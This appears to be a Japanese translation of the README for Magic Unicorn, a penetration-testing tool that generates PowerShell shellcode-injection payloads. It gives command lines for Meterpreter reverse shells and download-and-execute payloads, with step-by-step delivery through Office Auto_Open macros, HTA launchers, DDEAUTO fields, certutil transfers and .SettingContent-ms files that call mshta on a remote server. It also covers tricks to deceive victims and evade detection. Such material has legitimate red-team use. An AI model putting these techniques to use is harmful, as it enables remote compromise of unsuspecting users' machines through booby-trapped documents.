
Unicornは、PowerShellダウングレード攻撃を使用し、シェルコードをメモリに直接注入するためのシンプルなツールです。Matthew GraeberのPowerShell攻撃と、David Kennedy (TrustedSec) および Josh Kelly がDefcon 18で発表したPowerShellバイパス技術に基づいています。
作者: Dave Kennedy (@HackingDave) ウェブサイト: https://www.trustedsec.com
Magic Unicorn は、PowerShell ダウングレード攻撃を使用し、シェルコードをメモリに直接注入するためのシンプルなツールです。Matthew Graeber の PowerShell 攻撃と、David Kennedy (TrustedSec) および Josh Kelly が Defcon 18 で発表した PowerShell バイパス手法に基づいています。
使用方法は簡単で、Magic Unicorn を実行するだけです(Metasploit を使用する場合は、Metasploit がインストールされ、正しいパスにあることを確認してください)。Magic Unicorn は自動的に PowerShell コマンドを生成します。この PowerShell コードをコマンドラインウィンドウやペイロード配信システムにコピー&ペーストするだけで使用できます。Unicorn は独自のシェルコード、Cobalt Strike、Metasploit をサポートしています。
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
Native x86 powershell injection attacks on any Windows platform.
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates
Happy Magic Unicorns.
Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Macro Example Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00)
Help Menu: python unicorn.py --help
すべてが2つのファイル(powershell_attack.txt と unicorn.rc)に生成されます。テキストファイルには、PowerShell攻撃をメモリに注入するために必要なすべてのコードが含まれています。何らかのリモートコマンド注入が可能な場所が必要です。多くの場合、これはExcel/Word文書、Metasploitのpsexec_commands、SQLiなどを通じて実現できます。この攻撃を使用できるシナリオは非常に多くあります。powershell_attack.txtのコマンドを任意のコマンドプロンプトウィンドウ、またはpowershell実行可能ファイルを呼び出せる場所に貼り付けるだけで、シェルが返されます。この攻撃は、Meterpreterペイロードだけでなく、windows/download_execペイロード方式もサポートしています。ダウンロード&実行を使用する場合は、python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe と入力するだけで、PowerShellコードがペイロードをダウンロードして実行します。
攻撃をキャプチャするには、リスナーを有効にしておく必要があることに注意してください。
マクロ攻撃を行うには、ファイル、プロパティ、リボンから開発を選択する必要があります。その後、開発タブが表示されます。新しいマクロを作成し、名前を Auto_Open にして、生成されたコードを貼り付けます。これで自動的に実行されます。このとき、ファイルが破損しているというメッセージが表示され、Excel文書が自動的に閉じられます。これは正常な動作です!これは、被害者にExcel文書が破損していると思わせるためのものです。これにより、PowerShellインジェクションを介してシェルを取得できます。
Office365/2016以降のバージョンのWordに展開する場合は、出力の最初の行を Sub Auto_Open() から Sub AutoOpen() に変更する必要があります。
マクロ自体の名前も、従来の Auto_Open ではなく AutoOpen にする必要があります。
注意: Excelにコピー&ペーストする際、余分なスペースが追加される場合は、変数 "x" の各PowerShellコードセクションの後にそれらを削除する必要があります。削除しないと構文エラーが発生します!
HTA攻撃は自動的に2つのファイルを生成します。最初のindex.htmlはブラウザにLauncher.htaを使用するよう指示し、Launcher.htaには悪意のあるPowerShellインジェクションコードが含まれます。すべてのファイルは hta_access/ フォルダにエクスポートされ、3つの主要なファイルがあります。1つ目はindex.html、2つ目はLauncher.hta、最後にunicorn.rcファイルです。msfconsole -r unicorn.rc を実行してMetasploitのリスナーを起動できます。
HTA攻撃が正しく機能するには、ユーザーが許可をクリックして承諾する必要があります。
certutil攻撃ベクトルはMatthew Graeber(@mattifestation)によって発見されました。これにより、バイナリファイルをbase64形式に変換し、被害者のマシンでcertutilを使用してバイナリに戻すことができます。この攻撃は事実上すべてのシステムで動作し、偽の証明書ファイルを介して被害者のマシンにバイナリを転送できます。この攻撃を使用するには、実行可能ファイルをUnicornのパスに置き、python unicorn.py <exe_name> crt を実行してbase64出力を取得します。完了したら、decode_attack/ フォルダにファイルが含まれています。batファイルは、Windowsマシンで実行してバイナリに戻すためのコマンドです。
この攻撃方法では、任意のPowerShellファイル(.ps1)をエンコードされたコマンドまたはマクロに変換できます。
マクロオプションを選択した場合、大きなps1ファイルはVBAで許可されるキャリッジリターンの数を超える可能性があります。各VBA文字列の文字数は、パラメータとして整数を渡すことで変更できます。
例:
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500
最後の例では、デフォルトの380文字ではなく500文字の文字列を使用するため、VBAでのキャリッジリターンが少なくなります。
この攻撃ベクトルは、WordまたはExcelに配置するDDEAUTO式を生成します。COMオブジェクトDDEInitilizeおよびDDEExecuteを使用すると、Office内で直接数式を作成でき、マクロを必要とせずにリモートコード実行が可能になります。この攻撃は文書化されており、詳細な手順は以下にあります。
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
この攻撃を使用するには、次の例を実行します。
python unicorn.py <payload> <lhost> <lport> dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde
生成されると、Officeコードを含む powershell_attack.txt と、msfconsole -r unicorn.rc で呼び出してペイロードのリスナーを処理できる unicorn.rc ファイルが生成されます。さらに、download.ps1 もエクスポートされます(後述)。
ペイロードを適用するには、例として(sensepostの記事より):
Office文書が開かれると、PowerShellインジェクションを介してシェルが取得されます。DDEは文字サイズに制限があるため、ダウンロード方法としてInvoke-Expression(IEX)を使用する必要があることに注意してください。
DDE攻撃は、サイズ制限があるため、download.ps1(PowerShellインジェクション攻撃)をダウンロードしようとします。download.ps1 を被害者マシンがアクセス可能な場所に移動する必要があります。つまり、download.ps1 をApache2ディレクトリにホスティングし、被害者マシンがアクセスできるようにする必要があります。
一部のコマンドで { QUOTE が使用されていることに気づくかもしれません。これらは特定のコマンドを難読化する方法です(詳細: http://staaldraad.github.io/2017/10/23/msword-field-codes/)。ここでは、検出を回避するために WindowsPowerShell、powershell.exe、IEX を変更しています。また、URLにはDDEをまったく呼び出さない優れた方法も記載されていますので、そちらもご確認ください。
この方法では、Cobalt Strikeから直接Cobalt Strikeビーコンのシェルコードをインポートします。
Cobalt Strike内で、C#(CS)エクスポートをエクスポートし、ファイルに保存します。たとえば、ファイル名を cobalt_strike_file.cs とします。
エクスポートコードは次のようになります。
使用法:
python unicorn.py cobalt_strike_file.cs cs
cs 引数は、UnicornにCobalt Strike機能を使用することを指示します。残りは魔法です。
次に、PowerShellコマンドをリモートコマンド実行が可能な場所にコピーします。
注意: ファイルはC#(CS)形式でエクスポートする必要があります。そうしないと正しく解析されません。
この攻撃にはいくつかの注意点があります。ペイロードサイズは14KB以上になります。つまり、コマンドライン引数としてコピー&ペーストする場合、8191文字のサイズ制限(cmd.exeにハードコード)に達します。cmd.exeから直接起動する場合は問題ですが、PowerShellや他の通常のアプリケーションから直接起動する場合は問題ありません。
例として、wscript.shellとPowerShellはUSHORT - 65535 / 2 = 32767のサイズ制限を使用します。
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
この攻撃では、PowerShell、VBScript(WSCRIPT.SHELL)から直接起動する場合、問題はありません。
この方法では、独自のシェルコードをUnicorn攻撃に挿入できます。PowerShellコードは、powershell.exeのスタックサイズを増やし(VirtualAllocを使用)、メモリに注入します。
これを機能させるには、Unicornに指定するテキストファイルが次の形式でフォーマットされている必要があります。そうしないと機能しません。
0x00,0x00,0x00 など。
また、サイズ制限にも注意してください。PowerShellコマンドの全長は8191を超えてはいけません。これはWindowsの最大コマンドライン引数サイズ制限です。
使用法:
python unicorn.py shellcode_formatted_properly.txt shellcode
次に、PowerShellコマンドをリモートコマンド実行が可能な場所にコピーします。
注意: ファイルは、シェルコードのみを含む 0x00,0x00,0x00 形式で正しくフォーマットされている必要があります。他のものは含めないでください。
この攻撃にはいくつかの注意点があります。ペイロードサイズが大きい場合、cmd.exeに収まらない可能性があります。つまり、コマンドライン引数としてコピー&ペーストすると、8191文字のサイズ制限(cmd.exeにハードコード)に達します。cmd.exeから直接起動する場合は問題ですが、PowerShellや他の通常のアプリケーションから直接起動する場合は問題ありません。
例として、wscript.shellとPowerShellはUSHORT - 65535 / 2 = 32767のサイズ制限を使用します。
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
この攻撃では、PowerShell、VBScript(WSCRIPT.SHELL)から直接起動する場合、問題はありません。
まず、まだご覧になっていない場合は、Matt Nelson(enigma0x3)による素晴らしいSpectreOpsブログをご覧ください。
https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
この方法では、.SettingContent-ms という特定のファイルタイプを使用します。これにより、ブラウザからの直接読み込み(開く+コマンド実行)と、Office製品への埋め込みによる拡張タイプの両方が可能になります。ここでは特に、UnicornのPowerShell攻撃ベクトル内でのコマンド実行のための拡張タイプ設定に焦点を当てます。
この攻撃ベクトルでは複数の方法がサポートされています。この攻撃には文字サイズ制限があるため、展開方法はHTAです。
この攻撃を武器化する方法の詳細については、以下をご覧ください。
https://www.trustedsec.com/2018/06/weaponizing-settingcontent/
この攻撃を完了するために必要な手順は、スタンドアロンまたはHTAから .SettingContent-ms ファイルを生成することです。HTAメソッドは、Metasploit、Cobalt Strike、および直接シェルコード攻撃をサポートしています。
以下の4つの使用法:
HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA Example SettingContent-ms: python unicorn.py <cobalt_strike_file.cs> cs ms
HTA Example SettingContent-ms: python unicorn.py <path_to_shellcode.txt>: shellcode ms
Generate .SettingContent-ms: python unicorn.py ms
最初はMetasploitペイロード、2番目はCobalt Strike、3番目は独自のシェルコード、4番目は空の .SettingContent-ms ファイルです。
すべてが生成されると、Standalone_NoASR.SettingContent-ms というファイルが、デフォルトのUnicornルートディレクトリ(スタンドアロンファイル生成を使用する場合)または hta_attack/ フォルダにエクスポートされます。Standalone_NoASR.SettingContent-ms ファイルを編集し、以下の部分を置き換える必要があります。
REPLACECOOLSTUFFHERE
を次のように置き換えます。
mshta http://<apache_server_ip_or_dns_name/Launcher.hta
次に、hta_attack の内容を /var/www/html に移動します。
被害者が .SettingContent-ms ファイルをクリックすると、被害者のマシンで mshta が呼び出され、コード実行機能を持つUnicorn HTAファイルがダウンロードされます。
Matt Nelson氏の素晴らしい研究に特に感謝します。
詳細: https://www.trustedsec.com/2018/06/weaponizing-settingcontent/
使用法:
python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
python unicorn.py <cobalt_strike_file.cs> cs ms
python unicorn.py <path_to_shellcode.txt>: shellcode ms
python unicorn.py ms